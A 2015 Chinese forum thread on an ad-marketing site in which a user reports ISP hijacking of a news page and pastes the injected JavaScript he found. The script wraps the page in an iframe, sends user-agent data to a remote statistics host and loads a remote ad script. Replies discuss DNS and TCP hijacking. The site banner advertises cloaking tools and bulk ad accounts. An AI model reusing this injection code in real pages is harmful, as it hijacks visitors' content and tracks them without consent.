AdvertCN - 广告中国

 找回密码
 立即注册

QQ登录

只需一步,快速开始

 谷歌+Bing+TT+MSN官方代理 
⚡️按条S5代理⚡️静态⚡️独享⚡️5G⚡️最干净<Wifi住宅+5G移动>IP代理泰国仓储,本土仓发货2-3元/单
指纹浏览器,就用AdsPower谷歌/FB/Bing/Yahoo代理商开户7200W全球动态不重复住宅IP代理出售Facebook,友缘号,FB广告号,ins
FB/TT/KW 加白开户ADPLEXITY + ADVERTCN比Adplexity还好用的Spy工具广
FB/Google/TK
海外多媒体极速下户BINOM TRACKER 60% OFF!
MediaGo+Taboola+Ob开户百度国际MediaGo⚡️让产品狂奔全球百度国际,高点击转化,快速放量百度国际MediaGo,独家原生流量
虚拟信用卡+独立站收款行业首创新型指纹Cloak, 谷歌奇效!Kookeey⚡️100%独享⚡️原生住宅IP⚡IPFoxy住宅代理全场88折⚡
全球虚拟卡, 支持U充值免账户投放 FB 广告(送项目)2024做什么 - Media buy 项目库免费黑五教程(持续更新、欢迎交流)
Facebook 批量上广告Bridgeway - 联盟营销网络IPCola 全新住宅代理 ⚡️ 免费试用各种主页、账单户、BM户(优势)
⚡️个人户,bm户不限额,账单户Adsterra 的CPA/CPM/CPC 网站流量在线注册美国/英国/香港等海外公司EU KETO/CBD - Jumbleberry
FB二三解1元/个9Proxy ⚡️ $0.04/IP, 无限带宽 cloak斗篷/ss/nutra/cpa/DatingE.PN 虚拟卡
Asocks代理服务器$3/GB高薪诚求实力FB投手(独立站)《全新虚拟卡+全球收付款》广告位出租
全球低价纯净住宅/移动IP-免费试用广告代投, 东南亚物流, 虚拟信用卡VMLogin指纹浏览器+多账号防关联 
查看: 6240|回复: 12

[闲聊] 上网奇遇记

[复制链接]

44

主题

770

广告币

1422

积分

高级会员

Rank: 4

积分
1422
发表于 2015-2-3 00:52:03 | 显示全部楼层 |阅读模式
adsterra
本帖最后由 hudba 于 2015-2-3 00:56 编辑
2 \. r3 |8 r& p! h. q4 w5 j
* i1 F4 \( k9 A. N* i% D上网易看新闻半天打不开,发现状态栏在现实访问一个奇怪的域名。心里一惊,难道电脑中毒了?赶紧查看源代码,发现后面加了一段js,真正的新闻内容给iframe了
9 w9 [; P1 I2 ^4 H, o4 q3 C6 [* i5 i& u& v9 B
接下来就是去搜索这个域名,得到v2ex里面也有人遇到这个问题,原来是运营商搞的鬼{:soso_e131:}! s/ Q  r5 a& E
https://www.google.com/search?q=info.hfjuki.com&ie=utf-8&oe=utf-8
http://www.v2ex.com/t/142197
0 A& H" n% q- ]( z* w6 U

' _. Z7 J/ F7 O. y顺便查下ip138:
7 F8 N% ~, w0 r/ @+ w/ w. ~
/ H8 c. \& f( p) s6 S这是那段js里面的代码,好象是个半成品还没写入广告数据:
: p. q, b( x/ q
  1. function locationSearch() {
    / x/ C& V! F7 L5 D
  2.         var s = getMainJs();% b/ O, G: ~. M7 R4 t6 Q; j) F
  3.         if (s == null) {; }6 |, o) D8 M+ o; a
  4.                 location.reload();
    7 `& D# G1 X8 S
  5.         }
    : Z5 \! }" p  I6 ]( ^% L
  6.         return s.src.substring(s.src.indexOf(".js?") + 3, s.src.length);
    / S+ O; ]8 }  `! N1 x; D
  7. }
    $ @  g: \6 _# r' N0 Y5 ^- A6 s

  8. ' W' F* d$ s8 C! I; M! d
  9. function getParameter(name, paraStr) {+ z+ U; s; ~$ |  R
  10.         var result = "";8 ?- |; l# i, E/ O  Z4 i1 p
  11.         var str = "&" + paraStr.split("?")[1];
    ; J2 K9 S7 v* O6 d) @1 O% a! S  V
  12.         var paraName = "&" + name + "=";, A6 d! {$ C6 m) M- [
  13.         if (str.indexOf(paraName) != -1) {& W! {5 e/ ]: U. z* |
  14.                 if (str.substring(str.indexOf(name), str.length).indexOf("&") != -1) {! Q* ]/ x% H4 D  H* M
  15.                         var TmpStr = str.substring(str.indexOf(paraName), str.length);! M) [& |" j/ P' u+ I
  16.                         result = TmpStr.substr(TmpStr.indexOf(paraName), TmpStr.substring(
    - e, Z) z3 f- M5 N# t
  17.                                         1, TmpStr.length).indexOf("&")
    - M$ K4 m6 W" T$ N* H
  18.                                         - TmpStr.indexOf(paraName) + 1);6 @* C$ N' P. `4 O$ A& F
  19.                 } else {' t2 ?- x- e7 ?7 r: k# W
  20.                         result = str.substring(str.indexOf(paraName), str.length);7 U  |1 G: N! a9 K* h
  21.                 }; M5 v9 w/ V2 P7 ~+ A& k) W1 C

  22. " H6 K2 f3 T9 J2 _; ^
  23.                 result = result.substring(result.indexOf("=") + 1, result.length);
    + A6 c1 q# K, \
  24.         } else {/ g/ P* L9 I; x* F, ]/ ?+ |
  25.                 result = "No such parameter";5 |7 O  O9 Y# ~7 k3 `0 R- M* Q& b2 N
  26.         }
      e$ f5 T; X* B+ b: j
  27.         return (result.replace("&", ""));
    4 N1 U; {9 z1 `% a
  28. }
    3 c' c' r! B4 p! ?

  29. * I2 w/ q. P2 w' h
  30. function getMainJs() {
    # r% E% j9 m, D+ m
  31.         var scripts = document.getElementsByTagName("script");# J6 A1 }2 M% u3 H& I3 c3 b
  32.         var s = null;: b# R# m- h) Q1 @2 {- H1 R
  33.         for (var i = 0; i < scripts.length; i++) {
    . U% r# h: ^! U3 F: T# X) {
  34.                 if (scripts[i] != "undefined" && scripts[i].src.indexOf("t_c") != -1) {
    4 r7 g9 O, V& P
  35.                         s = scripts[i];
    + c' K% `" P- K
  36.                         break;
    ( t6 ]( w  Z9 n+ k
  37.                 }/ i/ G9 [3 W* A5 X, e8 T
  38.         }
    & \6 q, }7 H. E+ @
  39.         return s;
    5 I$ |4 e  B  l& T: O
  40. }5 z6 M, Y+ I) s  `" L
  41. 2 I1 Y$ S8 Y% r3 B2 s4 w5 V
  42. function appendParam(oStr, aStr) {
    + F) r9 n8 B+ p! Z
  43.         if (oStr.indexOf('?') > 0) {8 B$ G, B+ P+ w3 d
  44.                 oStr = oStr + "&" + aStr;/ V. M4 \; N8 U; v, n% ?, [! H/ W
  45.         } else {. @/ v) Z- i0 R6 I6 Z9 d2 f4 U
  46.                 oStr = oStr + "?" + aStr;
    0 [% r. w1 _' \) a$ s. g
  47.         }
    & v8 F, e/ D1 C6 n0 ]: |
  48.         return oStr;+ i0 t% ^4 D' p8 d8 I- v, z) k
  49. }
    % A: F  ?# i5 O8 O( S! X

  50. 0 ]! }4 I+ H1 a/ u; y; a
  51. window.onerror = function() {
    0 m: [6 n; x/ u9 z" |1 e
  52. };/ t( S4 b1 @8 u+ j1 i5 |" Q) s& o

  53. 7 g7 v' N9 L% A& @1 e% g/ _
  54. var g_titleTime = 0;
    / @, D3 r; S% E/ F. a
  55. function setTcTitle() {
    ! X0 x) P; D# _( y% b
  56.         if (undefined == document) {
    : p% T' s! I5 T4 p4 T6 G
  57.                 g_titleTime++;9 }5 I' V1 l* I! a/ z% C. Z3 |% X
  58.                 setTimeout("setTcTitle();", 1000);
      x8 t4 J1 E0 [. `9 g! s1 m
  59.                 return;0 s8 K6 s$ q1 Q6 ]
  60.         }5 j; c6 R5 c7 G3 |; {7 t
  61. 5 B1 L# g% T& t$ E; z
  62.         var doc;1 W! d9 ]4 ?" M3 Y
  63.         try {
    " B& u" r3 {2 w0 C0 c3 D
  64.                 if (document.all) {8 Q, e2 q) {% f7 Y( j- N
  65.                         doc = document.frames["cn"].document;# E& r. ^+ c9 S$ A  Q2 C  H9 `
  66.                 } else {8 D1 j' a' N! i5 Y5 O7 M
  67.                         doc = document.getElementById("cn").contentDocument;+ J6 {5 s" Q! g1 ]" u( C% T2 U, F
  68.                 }$ n) {' a+ j, @, b- {
  69.         } catch (ex) {/ J% G0 p+ F9 }: L' c# l
  70.         }
    " W; g" E8 T5 p% g$ _

  71. : R: f3 d6 n9 Y' U1 ~
  72.         if (g_titleTime < 5
    # u3 R. ]6 w" x) J) b* V. P
  73.                         && (undefined == doc || undefined == doc.title || "" == doc.title)) {
    5 U6 b- O- F$ \# H9 h" t
  74.                 g_titleTime++;
    $ K  O1 ~* ^& K( e7 w+ v: h8 {) H
  75.                 setTimeout("setTcTitle();", 1000);
    / f# e! U  v7 p- }
  76.                 return;
    % F4 g) Q% n3 q; p$ i0 I
  77.         } else if (undefined != doc && undefined != doc.title && "" != doc.title) {' R* a# j" `/ e% m' P& o
  78.                 document.title = doc.title;
    0 K' Z8 l! C9 I% T# a& D
  79.                 setTcAdvVisible();- x5 ~( u; w. L; G6 R) D
  80.         }
    ( J5 y4 o9 o  H+ l% e
  81. }2 z) f, `6 Q* i: S( q# K

  82. 2 Z4 P8 a) P' q
  83. setTimeout("setTcTitle();", 1000);8 ~! [2 q+ P1 i/ [% @

  84. 9 x1 ?8 I$ j' d  S: A* w/ S) H
  85. var g_isHaveVisible = false;5 V" v/ P( Z/ d! t$ z* M& s
  86. function setTcAdvVisible() {% ~1 o. |0 V$ t4 L
  87.         if (undefined != document && undefined != document.getElementById("addiv")6 J' P( M4 g* W6 B
  88.                         && !g_isHaveVisible) {/ L: S5 r! W+ X* _
  89.                 document.getElementById("addiv").style.visibility = 'visible';
    0 s: P, G% w6 J! _) H$ z& \9 o
  90.                 document.getElementById("addiv").style.display = 'block';
    ! z& k: o' J; Z( T
  91.                 g_isHaveVisible = true;
    : X9 [) @8 r7 ^+ r' t
  92.         }" ^: V+ A+ ?5 Y9 q0 X- w
  93. }3 C2 k' d6 D  C3 v/ L2 A
  94. 3 E. `/ Y: {$ ~. o) ~
  95. function UrlAnalyzer() {
    ' {. g; ^" _0 h6 g9 Y
  96.         this.divda = "";
    0 x% @( v% y  d" r
  97.         this.tctype = "";
    6 I( E% M2 G) }4 C
  98.         this.radius = "";
    9 Q. X4 c" {  p0 ^: ~
  99.         this.rlu = "";
    9 b. O: {. v* s3 j
  100. }
    % Z1 V; i3 }( ]3 j! A% W0 }+ z

  101. + P3 l- f; y7 V+ W) ^( \( a4 l+ f
  102. UrlAnalyzer.prototype.initParameters = function() {3 V  x0 U9 K8 y6 D9 h5 S2 Z) W
  103.         var paraStr = locationSearch();
    - t* O/ d4 F1 `
  104.         this.rlu = getParameter("lruedct", paraStr);% A# o6 a  U) T9 n3 H( c
  105.         this.divda = getParameter("divda", paraStr);
    . j) K  U7 l% R+ Z! C, L2 K& l
  106.         this.radius = getParameter("radius", paraStr);
    # n3 t* c; T0 o3 C. I
  107.         this.tctype = getParameter("tctype", paraStr);! u% I3 H% Y& g- z5 t: J
  108.         this.address = getParameter("address", paraStr);/ F& b0 \. i( {- [  n8 n
  109.         this.usagent = getParameter("usagent", paraStr);2 W- T$ f* |2 z( _. t
  110. }
    ; U+ @2 `" T1 C3 {9 e; y8 a$ d
  111. 6 a4 A% C4 n& y  Y0 H
  112. UrlAnalyzer.prototype.getHtmlDoc = function() {4 F1 v2 x" [7 U, G  e7 h
  113.         var doc;
    ! F* e# R4 A' j! _
  114.         try {
    / ]* h) O& e- c6 |* a5 s+ W
  115.                 if (document.all) {
    1 O' d& }  y/ B. x
  116.                         doc = document.frames["cn"].document;
    / a! E' T$ g; ]7 G' p% o
  117. ) N  O0 |% E! f8 A& g4 H* z
  118.                 } else {
    7 Z: c6 e* j- V
  119.                         doc = document.getElementById("cn").contentDocument;+ A6 h: p  n$ o+ T5 x5 e/ l
  120.                         // doc = document.getElementById("cn").contentWindow.document;8 c+ [- l0 ^5 M( ?7 N" z/ m; X+ [
  121.                 }
    8 c- L" {$ R' f- w( [
  122.         } catch (ex) {
      g/ p  Y+ W! Q
  123.         }
    ! W6 u" c2 A' w: c# E! I
  124.         return doc;9 |& J' c# u5 X7 f
  125. }- I4 x: b) n+ |$ P- B9 M( j3 g; i
  126. ) V8 @6 K; r1 B; H; P
  127. UrlAnalyzer.prototype.setDomain = function() {* T- @$ L& V: q3 e( ^7 P' z
  128.         if (undefined != document.title && "" == document.title)$ h/ t' R1 x" f: ^9 p% D
  129.         {
    : _9 f, n8 u% V. K# C0 Q4 ^1 m, r
  130.                 var index = document.domain.indexOf(".");/ \! D- Z# t6 w: V8 G& [! U7 F
  131.                 if (undefined != index && -1 != index) {
    # `0 e" n' K/ Z  A& R2 Z
  132.                         document.domain = document.domain.substring(index + 1,3 k2 k2 O/ i, u. m  l: h; M2 v
  133.                                         document.domain.length);; a& A, S6 F' ^7 Y, D
  134.                 }
    # s5 `3 E2 M/ ]
  135.                 1 F9 r  \4 d5 Q
  136.                 var doc = this.getHtmlDoc();5 g0 D+ A. ^- f- w, P% G
  137.                 if (undefined != doc && undefined != doc.title && "" != doc.title) {% Y4 ~' M* P) t
  138.                         document.title = doc.title;
    ! _8 A) @3 T4 U  V1 v2 G/ P
  139.                         setTcAdvVisible();5 D- `7 _, ]4 r
  140.                 }" f5 X! |; [0 b
  141.         }1 b$ h( v/ t  I4 n( a- s2 I
  142. }( y- x- y1 m+ Z4 @/ O3 a$ e4 |

  143. + u" j. l+ }  q! t) u
  144. UrlAnalyzer.prototype.iframeCallback = function() {$ l& ]- o/ W2 G/ j
  145.         var doc = this.getHtmlDoc();; P+ E4 M* E4 Y" D  t1 G: i& M
  146.         if (undefined == doc || undefined == doc.title || "" == doc.title) {/ ]% ?9 l; @  Q5 J) q, Z. }! ~
  147.                 if (undefined != document.domain) {
    : x* r2 s1 D* u, ^; x' r

  148. 1 H$ h. c+ }4 Z9 z& }/ W5 j3 p
  149.                         var self = this;
    % |  {" R$ ^( U: I2 K
  150.                         setTimeout(function(){self.setDomain.call(self, null)}, 1000);
    $ |, @2 {$ ~/ j( U2 Y5 o+ h) O
  151.                         // var index = document.domain.indexOf(".");
    ; i3 W/ ^3 g) o* E
  152.                         // if (undefined != index && -1 != index) {' j+ w4 R" u# p; Y" T4 U8 V0 x, F2 w
  153.                         // document.domain = document.domain.substring(index + 1,
    ! s" n1 i3 O' C
  154.                         // document.domain.length);
    9 t1 I2 T% S7 B, F- [
  155.                         // }
    2 i- e4 E: C* A( g! B
  156.                         //
    " i* ?1 g% f9 J6 J# f
  157.                         // var doc = this.getHtmlDoc();
    4 B; b" Y: g* a! G$ _. U
  158.                         // if (undefined != doc && undefined != doc.title && "" !=' }& [: B0 h  ?0 E
  159.                         // doc.title) {
    ' O- t! I$ w, X) V3 G0 `: U! w* i6 v
  160.                         // document.title = doc.title;
    / `! q1 _- w$ b0 l+ _7 N
  161.                         // setTcAdvVisible();
      N2 F6 F8 R0 m' k8 N0 H, ^3 A5 ?
  162.                         // }
    3 M! w) V/ I3 O2 f
  163.                 }
    - ^+ Y6 I3 o, p4 [; a2 {
  164.         } else if (undefined != doc && undefined != doc.title && "" != doc.title) {
    5 [, L2 n5 ]9 |# r3 _: M. ^
  165.                 document.title = doc.title;$ T3 }7 N9 b" X9 x% O% T
  166.                 setTcAdvVisible();
    % q! H& c* r/ k
  167.         }7 Q1 P- u# W0 O
  168. }) {1 t" J1 z- j' s
  169. 1 }5 \9 N: z/ }/ G3 Q/ z) X3 _
  170. UrlAnalyzer.prototype.executeHtmlContext = function() {0 w5 \7 [% r. P% P5 x6 K
  171.         var staUrl = "http://info.hfjuki.com:8060/page/statistics?advId=" + this.divda
    & V6 m% n0 [9 \
  172.                         + "&rd=" + this.radius + "&tctype=" + this.divda  + "&address=" + this.address  + "&usagent=" + this.usagent;
    ) x, D) i1 w7 p# a- F' z

  173. 6 T' [  u  [! i; _$ D+ O- y2 G
  174.         var htmlStr = "<iframe src="" + staUrl
    ; q) I$ U& I6 q% u7 y
  175.                         + "" style="display:none"></iframe>";! z/ C1 s+ T0 X2 v( W; {. G
  176. 5 |9 Y4 R4 O5 J- O
  177.         var advUrl = htmlStr
    3 u/ o( O( f8 m0 L$ [, u
  178.                         + "<script src="http://c2.sxite.com:8060/center?advId="/ J; L, O& v- c0 S
  179.                         + this.divda + "&radius=" + this.radius  + "&area=1" + ""><\/script>";6 S: k8 l4 c" K8 n) G- T! E4 Y
  180.         document.write(advUrl);
    # |$ ]8 t5 L$ y% A/ r/ g" R
  181. 5 C' N( D% d2 t# G
  182.         var self = this;, \1 k+ W% i# S; C$ g/ U$ J% \! P
  183.         var iframe = document.getElementById("cn");) f0 C8 ]4 `. c
  184.         if (iframe.attachEvent) {- b2 d8 }/ q8 I5 |/ u5 q; {
  185.                 iframe.attachEvent("onload", function() {
    & c. k$ j1 ?8 f( n% `
  186.                         self.iframeCallback.call(self, null);  p5 P; ?+ Q% G; r! x) G
  187.                 });
    8 Y3 p! q8 C! H& X
  188.         } else {
    . Q$ _) u- \& E+ A9 S& O
  189.                 iframe.onload = function() {  X, [: c+ o$ H6 q1 f
  190.                         self.iframeCallback.call(self, null);7 f1 i/ t: Q( B& J! h. }/ H6 i
  191.                 }
    * _; p7 u7 o, {5 \, F, ?1 S
  192.         }% e9 |8 H1 E8 Q* @0 d" H! |
  193. }4 Q& P- {' }8 W; G* [+ {# C
  194. ' i, U) _# K" Q% H2 `
  195. UrlAnalyzer.prototype.executeMain = function() {
    : s) h0 e4 P7 a
  196.         var mainFrame = document.getElementById("cn");
    * [' f! d5 Z# Y: j
  197.         mainFrame.contentWindow.location.href = mainFrame.src;& e, f* A8 }. @. l% i% f" y5 ^' d& Z
  198.         this.initParameters();+ d' }8 p+ V9 V
  199.         this.executeHtmlContext();9 s# x) }! {* E5 ^
  200. }% G  O+ r3 n, [: K* x

  201. + P; q5 h: p- m/ I
  202. var g_analyzer = new UrlAnalyzer();2 ?; N# Z3 f# n& g% }
  203. g_analyzer.executeMain();& e! o6 l7 I6 B$ N3 q( `- g
复制代码
  T8 f8 y6 r- A- i' }' ]
$ b  c% u' h5 B
  L8 [" w# n5 n8 \1 W/ E8 j. B9 Y

本帖子中包含更多资源

您需要 登录 才可以下载或查看,没有账号?立即注册

x
相关帖子
回复

使用道具 举报

26

主题

836

广告币

1784

积分

高级会员

Rank: 4

积分
1784
发表于 2015-2-3 01:33:54 | 显示全部楼层
回复 支持 反对

使用道具 举报

49

主题

440

广告币

824

积分

中级会员

Rank: 3Rank: 3

积分
824
发表于 2015-2-3 04:58:09 | 显示全部楼层
我在想有没有大牛会去干电信那个网页,那就发啦。哈哈
回复 支持 反对

使用道具 举报

54

主题

9

广告币

6010

积分

禁止访问

积分
6010
发表于 2015-2-3 09:49:12 | 显示全部楼层
所以从不使用运行商的dns,http://dudns.baidu.com/ http://www.114dns.com/ 这两个都不错

点评

TCP劫持,换DNS也不管用的。  详情 回复 发表于 2015-2-3 21:26
回复 支持 反对

使用道具 举报

26

主题

345

广告币

592

积分

中级会员

Rank: 3Rank: 3

积分
592
发表于 2015-2-3 09:49:33 | 显示全部楼层
法制不健全,没法。我这里也有电信绑架的问题,但你没辙,要国外,早赔的只剩内裤了。
回复 支持 反对

使用道具 举报

22

主题

1635

广告币

1946

积分

高级会员

Rank: 4

积分
1946
发表于 2015-2-3 13:12:15 | 显示全部楼层
电信DNS劫持不是一天两天了。国家垄断企业,没人能管”。。。
回复 支持 反对

使用道具 举报

1

主题

69

广告币

497

积分

中级会员

Rank: 3Rank: 3

积分
497
发表于 2015-2-3 14:24:00 | 显示全部楼层
我这段时间也遇到了,投诉了两次,这几天没出现了,再出现继续投诉
回复 支持 反对

使用道具 举报

26

主题

836

广告币

1784

积分

高级会员

Rank: 4

积分
1784
发表于 2015-2-3 21:26:11 | 显示全部楼层
阿百川 发表于 2015-2-3 09:49+ _" ]* C' K% K( d
所以从不使用运行商的dns,http://dudns.baidu.com/ http://www.114dns.com/ 这两个都不错 ...

9 X' P! h) Z% Z  }, K3 p- BTCP劫持,换DNS也不管用的。

点评

正解。  发表于 2015-2-3 21:43
回复 支持 反对

使用道具 举报

54

主题

9

广告币

6010

积分

禁止访问

积分
6010
发表于 2015-2-4 07:36:43 | 显示全部楼层
ads419 发表于 2015-2-3 21:26: p3 Z3 |  \8 f) r8 Z! q
TCP劫持,换DNS也不管用的。
0 L8 `. G" ~& e1 o6 [
幸好联通还木有这么强的技术

点评

联通也一样,各地不同罢了。  发表于 2015-2-4 10:07
回复 支持 反对

使用道具 举报

12

主题

913

广告币

1210

积分

高级会员

Rank: 4

积分
1210

社区QQ达人

发表于 2015-2-4 20:47:04 | 显示全部楼层
在国内,习惯就好
回复 支持 反对

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

关于我们|联系我们|DMCA|广告服务|小黑屋|手机版|Archiver|Github|网站地图|AdvertCN

GMT+8, 2024-5-2 23:22 , Processed in 0.053655 second(s), 14 queries , Gzip On, MemCache On.

Copyright © 2001-2023, AdvertCN

Proudly Operating in Hong Kong.

快速回复 返回顶部 返回列表